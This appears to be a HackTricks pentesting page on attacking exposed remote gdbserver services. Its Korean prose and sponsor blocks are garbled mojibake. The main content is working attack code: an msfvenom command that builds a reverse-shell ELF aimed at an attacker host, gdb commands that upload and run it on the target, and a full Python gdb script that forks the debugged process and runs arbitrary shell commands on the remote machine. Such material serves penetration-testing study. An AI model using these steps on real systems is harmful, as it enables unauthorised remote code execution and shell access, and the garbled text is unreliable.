# Pentesting Remote GdbServer
{% hint style="success" %}
Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Support HackTricks
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** ๐ฌ [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** ๐ฆ [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %}
**์ทจ์ฝ์ ํ๊ฐ ๋ฐ ์นจํฌ ํ
์คํธ๋ฅผ ์ํ ์ฆ์ ์ฌ์ฉ ๊ฐ๋ฅํ ์ค์ **. 20๊ฐ ์ด์์ ๋๊ตฌ ๋ฐ ๊ธฐ๋ฅ์ ์ฌ์ฉํ์ฌ ์ด๋์๋ ์ ์ฒด ์นจํฌ ํ
์คํธ๋ฅผ ์คํํ ์ ์์ผ๋ฉฐ, ์ด๋ ํ์์์ ๋ณด๊ณ ์ ์ด๋ฅด๊ธฐ๊น์ง ๊ฐ๋ฅํฉ๋๋ค. ์ฐ๋ฆฌ๋ ์นจํฌ ํ
์คํฐ๋ฅผ ๋์ฒดํ์ง ์์ผ๋ฉฐ, ๊ทธ๋ค์ด ๋ ๊น์ด ํ๊ณ ๋ค๊ณ , ์์ ํฐ๋จ๋ฆฌ๊ณ , ์ฌ๋ฏธ๋ฅผ ๋๋ ์ ์๋๋ก ๋ง์ถคํ ๋๊ตฌ, ํ์ง ๋ฐ ์
์ฉ ๋ชจ๋์ ๊ฐ๋ฐํฉ๋๋ค.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
## **๊ธฐ๋ณธ ์ ๋ณด**
**gdbserver**๋ ํ๋ก๊ทธ๋จ์ ์๊ฒฉ์ผ๋ก ๋๋ฒ๊น
ํ ์ ์๊ฒ ํด์ฃผ๋ ๋๊ตฌ์
๋๋ค. ๋๋ฒ๊น
์ด ํ์ํ ํ๋ก๊ทธ๋จ๊ณผ ํจ๊ป ๋์ผํ ์์คํ
์์ ์คํ๋๋ฉฐ, ์ด๋ฅผ "๋์"์ด๋ผ๊ณ ํฉ๋๋ค. ์ด ์ค์ ์ **GNU Debugger**๊ฐ ์์ค ์ฝ๋์ ๋๋ฒ๊น
๋ ํ๋ก๊ทธ๋จ์ ์ด์ง ๋ณต์ฌ๋ณธ์ด ์ ์ฅ๋ ๋ค๋ฅธ ๋จธ์ ์ธ "ํธ์คํธ"์์ ์ฐ๊ฒฐํ ์ ์๊ฒ ํฉ๋๋ค. **gdbserver**์ ๋๋ฒ๊ฑฐ ๊ฐ์ ์ฐ๊ฒฐ์ TCP ๋๋ ์ง๋ ฌ ๋ผ์ธ์ ํตํด ์ด๋ฃจ์ด์ง ์ ์์ด ๋ค์ํ ๋๋ฒ๊น
์ค์ ์ด ๊ฐ๋ฅํฉ๋๋ค.
**gdbserver๊ฐ ๋ชจ๋ ํฌํธ๋ฅผ ์์ ๋๊ธฐํ๋๋ก ์ค์ ํ ์ ์์ผ๋ฉฐ**, ํ์ฌ **nmap์ ์ด ์๋น์ค๋ฅผ ์ธ์ํ ์ ์์ต๋๋ค**.
## Exploitation
### Upload and Execute
**msfvenom์ผ๋ก elf ๋ฐฑ๋์ด๋ฅผ ์ฝ๊ฒ ์์ฑํ๊ณ **, ์
๋ก๋ํ์ฌ ์คํํ ์ ์์ต๋๋ค:
```bash
# Trick shared by @B1n4rySh4d0w
msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4444 PrependFork=true -f elf -o binary.elf
chmod +x binary.elf
gdb binary.elf
# Set remote debuger target
target extended-remote 10.10.10.11:1337
# Upload elf file
remote put binary.elf binary.elf
# Set remote executable file
set remote exec-file /home/user/binary.elf
# Execute reverse shell executable
run
# You should get your reverse-shell
```
### ์์์ ๋ช
๋ น ์คํ
**๋๋ฒ๊ฑฐ๊ฐ ์์์ ๋ช
๋ น์ ์คํํ๋๋ก ๋ง๋๋ ๋ ๋ค๋ฅธ ๋ฐฉ๋ฒ์ด ์์ต๋๋ค** [**์ฌ๊ธฐ์์ ๊ฐ์ ธ์จ python ์ฌ์ฉ์ ์ ์ ์คํฌ๋ฆฝํธ**](https://stackoverflow.com/questions/26757055/gdbserver-execute-shell-commands-of-the-target).
```bash
# Given remote terminal running `gdbserver :2345 ./remote_executable`, we connect to that server.
target extended-remote 192.168.1.4:2345
# Load our custom gdb command `rcmd`.
source ./remote-cmd.py
# Change to a trusty binary and run it to load it
set remote exec-file /bin/bash
r
# Run until a point where libc has been loaded on the remote process, e.g. start of main().
tb main
r
# Run the remote command, e.g. `ls`.
rcmd ls
```
๋จผ์ **์ด ์คํฌ๋ฆฝํธ๋ฅผ ๋ก์ปฌ์์ ์์ฑํ์ธ์**:
{% code title="remote-cmd.py" %}
```python
#!/usr/bin/env python3
import gdb
import re
import traceback
import uuid
class RemoteCmd(gdb.Command):
def __init__(self):
self.addresses = {}
self.tmp_file = f'/tmp/{uuid.uuid4().hex}'
gdb.write(f"Using tmp output file: {self.tmp_file}.\n")
gdb.execute("set detach-on-fork off")
gdb.execute("set follow-fork-mode parent")
gdb.execute("set max-value-size unlimited")
gdb.execute("set pagination off")
gdb.execute("set print elements 0")
gdb.execute("set print repeats 0")
super(RemoteCmd, self).__init__("rcmd", gdb.COMMAND_USER)
def preload(self):
for symbol in [
"close",
"execl",
"fork",
"free",
"lseek",
"malloc",
"open",
"read",
]:
self.load(symbol)
def load(self, symbol):
if symbol not in self.addresses:
address_string = gdb.execute(f"info address {symbol}", to_string=True)
match = re.match(
f'Symbol "{symbol}" is at ([0-9a-fx]+) .*', address_string, re.IGNORECASE
)
if match and len(match.groups()) > 0:
self.addresses[symbol] = match.groups()[0]
else:
raise RuntimeError(f'Could not retrieve address for symbol "{symbol}".')
return self.addresses[symbol]
def output(self):
# From `fcntl-linux.h`
O_RDONLY = 0
gdb.execute(
f'set $fd = (int){self.load("open")}("{self.tmp_file}", {O_RDONLY})'
)
# From `stdio.h`
SEEK_SET = 0
SEEK_END = 2
gdb.execute(f'set $len = (int){self.load("lseek")}($fd, 0, {SEEK_END})')
gdb.execute(f'call (int){self.load("lseek")}($fd, 0, {SEEK_SET})')
if int(gdb.convenience_variable("len")) <= 0:
gdb.write("No output was captured.")
return
gdb.execute(f'set $mem = (void*){self.load("malloc")}($len)')
gdb.execute(f'call (int){self.load("read")}($fd, $mem, $len)')
gdb.execute('printf "%s\\n", (char*) $mem')
gdb.execute(f'call (int){self.load("close")}($fd)')
gdb.execute(f'call (int){self.load("free")}($mem)')
def invoke(self, arg, from_tty):
try:
self.preload()
is_auto_solib_add = gdb.parameter("auto-solib-add")
gdb.execute("set auto-solib-add off")
parent_inferior = gdb.selected_inferior()
gdb.execute(f'set $child_pid = (int){self.load("fork")}()')
child_pid = gdb.convenience_variable("child_pid")
child_inferior = list(
filter(lambda x: x.pid == child_pid, gdb.inferiors())
)[0]
gdb.execute(f"inferior {child_inferior.num}")
try:
gdb.execute(
f'call (int){self.load("execl")}("/bin/sh", "sh", "-c", "exec {arg} >{self.tmp_file} 2>&1", (char*)0)'
)
except gdb.error as e:
if (
"The program being debugged exited while in a function called from GDB"
in str(e)
):
pass
else:
raise e
finally:
gdb.execute(f"inferior {parent_inferior.num}")
gdb.execute(f"remove-inferiors {child_inferior.num}")
self.output()
except Exception as e:
gdb.write("".join(traceback.TracebackException.from_exception(e).format()))
raise e
finally:
gdb.execute(f'set auto-solib-add {"on" if is_auto_solib_add else "off"}')
RemoteCmd()
```
{% endcode %}
**์ทจ์ฝ์ ํ๊ฐ ๋ฐ ์นจํฌ ํ
์คํธ๋ฅผ ์ํ ์ฆ์ ์ฌ์ฉ ๊ฐ๋ฅํ ์ค์ **. 20๊ฐ ์ด์์ ๋๊ตฌ ๋ฐ ๊ธฐ๋ฅ์ ์ฌ์ฉํ์ฌ ์ด๋์๋ ์ ์ฒด ์นจํฌ ํ
์คํธ๋ฅผ ์คํํ์ธ์. ์ฐ๋ฆฌ๋ ์นจํฌ ํ
์คํฐ๋ฅผ ๋์ฒดํ์ง ์์ต๋๋ค - ๊ทธ๋ค์ด ๋ ๊น์ด ํ๊ณ ๋ค๊ณ , ์์ ํฐ๋จ๋ฆฌ๊ณ , ์ฌ๋ฏธ๋ฅผ ๋๋ ์ ์๋๋ก ๋ง์ถคํ ๋๊ตฌ, ํ์ง ๋ฐ ์
์ฉ ๋ชจ๋์ ๊ฐ๋ฐํฉ๋๋ค.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
{% hint style="success" %}
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
HackTricks ์ง์ํ๊ธฐ
* [**๊ตฌ๋
๊ณํ**](https://github.com/sponsors/carlospolop) ํ์ธํ๊ธฐ!
* **๐ฌ [**Discord ๊ทธ๋ฃน**](https://discord.gg/hRep4RUj7f) ๋๋ [**ํ
๋ ๊ทธ๋จ ๊ทธ๋ฃน**](https://t.me/peass)์ ์ฐธ์ฌํ๊ฑฐ๋ **Twitter** ๐ฆ [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**๋ฅผ ํ๋ก์ฐํ์ธ์.**
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) ๋ฐ [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํ์ ๊ณต์ ํ์ธ์.**
{% endhint %}